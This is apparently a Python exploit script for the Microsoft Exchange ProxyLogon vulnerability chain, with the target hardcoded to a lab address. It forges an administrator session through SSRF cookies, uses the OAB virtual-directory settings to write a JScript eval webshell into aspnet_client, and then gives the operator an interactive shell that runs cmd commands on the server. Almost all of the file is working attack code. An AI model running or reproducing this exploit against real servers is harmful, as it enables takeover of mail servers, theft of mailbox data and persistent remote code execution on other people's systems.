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import re
import sys
import json
import string
import requests
from urllib import urlencode
from tld import get_fld
from struct import unpack
from base64 import b64encode, b64decode
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: Microsoft Exchang 多个版本 \033[0m')
print('+ \033[36m使用格式: python exp.py \033[0m')
print('+ \033[36mUrl >>> mail.xxx.org \033[0m')
print('+ \033[36mEmail >>> Administrator@根域名 (默认) \033[0m')
print('+------------------------------------------')
def _unpack_str(byte_string):
return byte_string.decode('UTF-8').replace('\x00', '')
def _unpack_int(format, data):
return unpack(format, data)[0]
def parse_challenge(Negotiate_base64_decode):
target_info_field = Negotiate_base64_decode[40:48]
target_info_len = _unpack_int('H', target_info_field[0:2])
target_info_offset = _unpack_int('I', target_info_field[4:8])
target_info_bytes = Negotiate_base64_decode[target_info_offset:target_info_offset + target_info_len]
domain_name = ''
computer_name = ''
info_offset = 0
while info_offset < len(target_info_bytes):
av_id = _unpack_int('H', target_info_bytes[info_offset:info_offset + 2])
av_len = _unpack_int('H', target_info_bytes[info_offset + 2:info_offset + 4])
av_value = target_info_bytes[info_offset + 4:info_offset + 4 + av_len]
info_offset = info_offset + 4 + av_len
if av_id == 2: # MsvAvDnsDomainName
domain_name = _unpack_str(av_value)
elif av_id == 3: # MsvAvDnsComputerName
computer_name = _unpack_str(av_value)
if domain_name and computer_name:
return domain_name, computer_name
else:
print("\033[31m[x] 计算机名称或域名称获取失败")
sys.exit(0)
def POC_1(target_url, Email):
print("\033[32m[o] 正在获取 计算机名称和域名称.....\033[0m")
ntlm_type1 = (
'NTLMSSP\x00' # NTLMSSp签名
'\x01\x00\x00\x00' # 信息类型
'\x97\x82\x08\xe2' # 标记
'\x00\x00\x00\x00\x00\x00\x00\x00' # 域名称字符
'\x00\x00\x00\x00\x00\x00\x00\x00' # 工作字符
'\x0a\x00\xba\x47\x00\x00\x00\x0f' # 系统版本
)
headers = {
'Authorization': 'Negotiate {}'.format(b64encode(ntlm_type1))
}
basic_url = 'https://{}/rpc/'.format(target_url)
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=basic_url, headers=headers, verify=False)
if response.status_code == 401:
Negotiate_base64_encode = response.headers['WWW-Authenticate']
Negotiate_base64_decode = re.search('Negotiate ([A-Za-z0-9/+=]+)', Negotiate_base64_encode).group(1)
domain_name, computer_name = parse_challenge(b64decode(Negotiate_base64_decode))
print("\033[32m[o] 计算机名称: {}\033[0m".format(computer_name))
print("\033[32m[o] 域名称: {}\033[0m".format(domain_name))
POC_2(target_url, Email, computer_name)
else:
print("\033[31m[x] 获取失败")
sys.exit(0)
def POC_2(target_url, Email, computer_name):
payload = '''
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>%s</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
''' % Email
vuln_url = '/autodiscover/autodiscover.xml'
headers = {
'User-Agent': 'ExchangeServicesClient/0.0.0.0',
'Content-Type': 'text/xml',
'Cookie': 'X-BEResource=a]@{}:444{}?#~1941962753'.format(computer_name, vuln_url),
'msExchLogonMailbox': 'S-1-5-20'
}
url = "https://{}/ecp/PeiQi.js".format(target_url)
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url, headers=headers, data=payload, verify=False, allow_redirects=False)
LegacyDN = re.findall(r'<LegacyDN>(.*?)</LegacyDN>', response.text)[0]
print("\033[32m[o] LegacyDN: {}\033[0m".format(LegacyDN))
vuln_url = '/mapi/emsmdb/'
headers = {
'X-Clientapplication': 'Outlook/15.0.4815.1002',
'X-Requestid': 'x',
'X-Requesttype': 'Connect',
'Cookie': 'X-BEResource=a]@{}:444{}?#~1941962753'.format(computer_name, vuln_url),
'Content-Type': 'application/mapi-http',
'msExchLogonMailbox': 'S-1-5-20',
}
payload = LegacyDN + '\x00\x00\x00\x00\x00\x20\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00'
url = "https://{}/ecp/PeiQi.js".format(target_url)
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url, headers=headers, data=payload, verify=False, allow_redirects=False)
SID = re.search('with SID ([S\-0-9]+) ', response.content).group(1)
print("\033[32m[o] SID: {}\033[0m".format(SID))
vuln_url = '/ecp/proxyLogon.ecp'
payload = '<r at="NTLM" ln="%s"><s t="0">%s</s></r>' % (Email.split('@')[0], SID)
headers = {
'X-Clientapplication': 'Outlook/15.0.4815.1002',
'X-Requestid': 'x',
'X-Requesttype': 'Connect',
'Cookie': 'X-BEResource=a]@{}:444{}?#~1941962753'.format(computer_name, vuln_url),
'Content-Type': 'application/json',
'msExchLogonMailbox': 'S-1-5-20',
}
url = "https://{}/ecp/PeiQi.js".format(target_url)
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url, headers=headers, data=payload, verify=False, allow_redirects=False)
session_id = response.cookies.get('ASP.NET_SessionId')
canary = response.cookies.get('msExchEcpCanary')
print("\033[32m[o] Session_id: {}\033[0m".format(session_id))
print("\033[32m[o] Canary : {}\033[0m".format(canary))
extra_cookies = [
'ASP.NET_SessionId=' + session_id,
'msExchEcpCanary=' + canary
]
vuln_url = '/ecp/DDI/DDIService.svc/GetObject'
qs = urlencode({
'schema': 'OABVirtualDirectory',
'msExchEcpCanary': canary
})
headers = {
'X-Clientapplication': 'Outlook/15.0.4815.1002',
'X-Requestid': 'x',
'X-Requesttype': 'Connect',
'Cookie': 'X-BEResource=a]@{}:444{}?{}#~1941962753;ASP.NET_SessionId={};msExchEcpCanary={}'.format(
computer_name, vuln_url, qs, session_id, canary),
'Content-Type': 'application/json',
'msExchLogonMailbox': 'S-1-5-20',
}
url = "https://{}/ecp/PeiQi.js".format(target_url)
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url, headers=headers, data='', verify=False, allow_redirects=False)
identity = response.json()['d']['Output'][0]['Identity']
print("\033[32m[o] OAB Name: {}\033[0m".format(identity['DisplayName']))
print("\033[32m[o] OAB ID: {}\033[0m".format(identity['RawIdentity']))
FILE_PATH = 'C:\\inetpub\\wwwroot\\aspnet_client\\PeiQi.aspx'
FILE_DATA = '<script language="JScript" runat="server">function Page_Load(){eval(Request["PeiQi"],"unsafe");}</script>'
vuln_url = '/ecp/DDI/DDIService.svc/SetObject'
qs = urlencode({
'schema': 'OABVirtualDirectory',
'msExchEcpCanary': canary
})
payload = json.dumps({
'identity': {
'__type': 'Identity:ECP',
'DisplayName': identity['DisplayName'],
'RawIdentity': identity['RawIdentity']
},
'properties': {
'Parameters': {
'__type': 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',
'ExternalUrl': 'http://f/' + FILE_DATA
}
}
})
headers = {
'X-Clientapplication': 'Outlook/15.0.4815.1002',
'X-Requestid': 'x',
'X-Requesttype': 'Connect',
'Cookie': 'X-BEResource=a]@{}:444{}?{}#~1941962753;ASP.NET_SessionId={};msExchEcpCanary={}'.format(
computer_name, vuln_url, qs, session_id, canary),
'Content-Type': 'application/json',
'msExchLogonMailbox': 'S-1-5-20',
}
url = "https://{}/ecp/PeiQi.js".format(target_url)
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url, headers=headers, data=payload, verify=False, allow_redirects=False)
if response.status_code == 200:
print("\033[32m[o] 通过OAB设置Webshell成功\033[0m")
vuln_url = "/ecp/DDI/DDIService.svc/SetObject"
qs = urlencode({
'schema': 'ResetOABVirtualDirectory',
'msExchEcpCanary': canary
})
payload = json.dumps({
'identity': {
'__type': 'Identity:ECP',
'DisplayName': identity['DisplayName'],
'RawIdentity': identity['RawIdentity']
},
'properties': {
'Parameters': {
'__type': 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',
'FilePathName': FILE_PATH
}
}
})
headers = {
'X-Clientapplication': 'Outlook/15.0.4815.1002',
'X-Requestid': 'x',
'X-Requesttype': 'Connect',
'Cookie': 'X-BEResource=a]@{}:444{}?{}#~1941962753;ASP.NET_SessionId={};msExchEcpCanary={}'.format(
computer_name, vuln_url, qs, session_id, canary),
'Content-Type': 'application/json',
'msExchLogonMailbox': 'S-1-5-20',
}
url = "https://{}/ecp/PeiQi.js".format(target_url)
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url, headers=headers, data=payload, verify=False, allow_redirects=False)
if response.status_code == 200:
print("\033[32m[o] 正在尝试写入Webshell\033[0m")
vuln_url = "/ecp/DDI/DDIService.svc/SetObject"
qs = urlencode({
'schema': 'OABVirtualDirectory',
'msExchEcpCanary': canary
})
payload = json.dumps({
'identity': {
'__type': 'Identity:ECP',
'DisplayName': identity['DisplayName'],
'RawIdentity': identity['RawIdentity']
},
'properties': {
'Parameters': {
'__type': 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',
'ExternalUrl': ''
}
}
})
headers = {
'X-Clientapplication': 'Outlook/15.0.4815.1002',
'X-Requestid': 'x',
'X-Requesttype': 'Connect',
'Cookie': 'X-BEResource=a]@{}:444{}?{}#~1941962753;ASP.NET_SessionId={};msExchEcpCanary={}'.format(
computer_name, vuln_url, qs, session_id, canary),
'Content-Type': 'application/json',
'msExchLogonMailbox': 'S-1-5-20',
}
url = "https://{}/ecp/PeiQi.js".format(target_url)
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url, headers=headers, data=payload, verify=False, allow_redirects=False)
print("\033[32m[o] 清除 OAB\033[0m")
print("\033[32m[o] 正在验证 Webshell是否上传成功..........\033[0m")
webshell_url = "https://" + target_url + "/aspnet_client/PeiQi.aspx"
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=webshell_url, verify=False, allow_redirects=False)
if response.status_code == 200 and "Name" in response.text:
print("\033[32m[o] 上传 Webshll成功, 地址为:{}\033[0m".format("https://" + target_url + "/aspnet_client/PeiQi.aspx"))
print("\033[32m[o] 响应为:\n{}\033[0m".format(response.text))
while True:
Cmd = str(raw_input("\033[35mCmd >>> \033[0m"))
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
Cmd_url = "https://" + target_url + '/aspnet_client/PeiQi.aspx?PeiQi=Response.Write(new%20ActiveXObject("WScript.Shell").exec("cmd /c {}").StdOut.ReadAll());'.format(Cmd)
response = requests.get(url=Cmd_url, verify=False, allow_redirects=False)
print("\033[32m[o] 响应为:\n{}\033[0m".format(response.text))
if __name__ == '__main__':
reload(sys)
sys.setdefaultencoding('utf8')
title()
# target_url = str(raw_input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
target_url = "172.22.3.9"
# Email = "Administrator@{}".format(get_fld("https://" + target_url))
Email = "Administrator@{}".format("xiaorang.lab")
print("\033[32m[o] 请求地址:{}，使用的邮箱:{}\033[0m".format(target_url, Email))
POC_1(target_url, Email)
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